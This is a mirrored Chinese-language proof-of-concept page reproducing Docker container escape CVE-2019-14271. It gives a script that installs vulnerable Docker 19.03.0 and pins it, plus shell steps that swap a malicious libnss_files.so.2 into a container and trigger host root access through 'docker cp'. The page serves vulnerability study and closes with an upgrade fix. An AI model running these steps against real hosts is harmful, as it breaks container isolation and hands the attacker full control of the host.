mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
126 lines
4.7 KiB
Markdown
126 lines
4.7 KiB
Markdown
|
|
# Docker copy 漏洞导致容器逃逸 CVE-2019-14271
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
`docker cp` 命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 `/var/logs`,语法是 `docker cp container_name:/var/logs /some/host/path`。
|
|||
|
|
|
|||
|
|
在复制的过程中 Docker 使用了一个名为 `docker-tar` 的帮助进程。`docker-tar` 是通过 chroot 到容器,将请求的文件或目录存档,然后将生成的 tar 文件传递给 Docker daemon,然后由 daemon 提取到主机的目标目录中。
|
|||
|
|
|
|||
|
|
有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中,一些含有嵌入 C 代码(cgo)的包会在运行时动态加载共享的库。这些包包括 `net` 和 `os/user`,都是 docker-tar 使用的,而且在运行时会加载多个 `libnss_*.so` 库。一般来说,库是从 `host` 文件系统加载的,但因为 `docker-tar`chroot 到了容器,因此会从容器文件系统中加载库。也就是说 `docker-tar` 会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到 `docker-tar`,恶意容器就可以获取 host 主机的完全 root 访问权限。
|
|||
|
|
|
|||
|
|
可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:
|
|||
|
|
|
|||
|
|
- 容器运行含有恶意 `libnss_*.so` 库的镜像
|
|||
|
|
- 容器中含有被攻击者替换的 `libnss_*.so` 库
|
|||
|
|
|
|||
|
|
在这两种情况下,攻击者都可以获取主机上的 root 代码执行权限。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://xz.aliyun.com/t/6806
|
|||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-14271
|
|||
|
|
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
|
|||
|
|
- https://github.com/Metarget/metarget
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
v18.09.9<= Docker <v19.03.8
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
ubuntu 18.04 使用以下脚本 `install_docker_19.03.0.sh` 安装 Docker 19.03.0:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
#!/bin/bash
|
|||
|
|
set -e
|
|||
|
|
echo "[*] Removing old Docker versions (if any)..."
|
|||
|
|
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
|||
|
|
|
|||
|
|
echo "[*] Unholding previously held Docker packages (if any)..."
|
|||
|
|
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
|||
|
|
|
|||
|
|
echo "[*] Removing incorrect Docker sources..."
|
|||
|
|
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
|||
|
|
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
|||
|
|
|
|||
|
|
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
|
|||
|
|
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
|
|||
|
|
|
|||
|
|
echo "[*] Adding Tsinghua University Docker mirror repository..."
|
|||
|
|
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
|
|||
|
|
| sudo tee /etc/apt/sources.list.d/docker.list
|
|||
|
|
|
|||
|
|
echo "[*] Updating package index..."
|
|||
|
|
sudo apt update
|
|||
|
|
|
|||
|
|
echo "[*] Searching for Docker 19.03.0..."
|
|||
|
|
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
|
|||
|
|
if [ -z "$VERSION_STRING" ]; then
|
|||
|
|
echo "[*] Docker 19.03.0 not found"
|
|||
|
|
exit 1
|
|||
|
|
fi
|
|||
|
|
echo "[*] Found version: $VERSION_STRING"
|
|||
|
|
|
|||
|
|
echo "[*] Installing Docker version $VERSION_STRING ..."
|
|||
|
|
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io
|
|||
|
|
|
|||
|
|
echo "[*] Locking version to prevent automatic updates..."
|
|||
|
|
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
|
|||
|
|
|
|||
|
|
echo "[*] Installation complete, current version:"
|
|||
|
|
docker --version
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
新建一个容器:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
sudo docker run -itd --name=14271 ubuntu bash
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
将 [漏洞利用文件](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp) 拷贝至容器内:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
删除容器内原来的 .so 文件,替换为修改后的恶意 .so 文件:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
sudo docker exec -it 14271 bash
|
|||
|
|
root@7271b49ce3d1:/# ls /exp
|
|||
|
|
breakout libnss_files.so.2 original_libnss_files.so.2
|
|||
|
|
root@7271b49ce3d1:/# cp /exp/* /
|
|||
|
|
root@7271b49ce3d1:/# chmod 777 /breakout
|
|||
|
|
root@7271b49ce3d1:/# touch /logs
|
|||
|
|
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
|
|||
|
|
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
|
|||
|
|
root@7271b49ce3d1:/# exit
|
|||
|
|
exit
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
替换后退出容器,在宿主机上执行 cp 命令完成逃逸:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
sudo docker cp 14271:/logs ./
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
进入容器内部,可发现根目录下存在 `host_fs` 目录挂载了宿主机的文件系统,成功逃逸:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
sudo docker exec -it 14271 bash
|
|||
|
|
root@7271b49ce3d1:/# ls -al / | grep host_fs
|
|||
|
|
drwxr-xr-x 24 root root 4096 May 26 05:46 host_fs
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
- 升级至最新版本 https://docs.docker.com/engine/release-notes/
|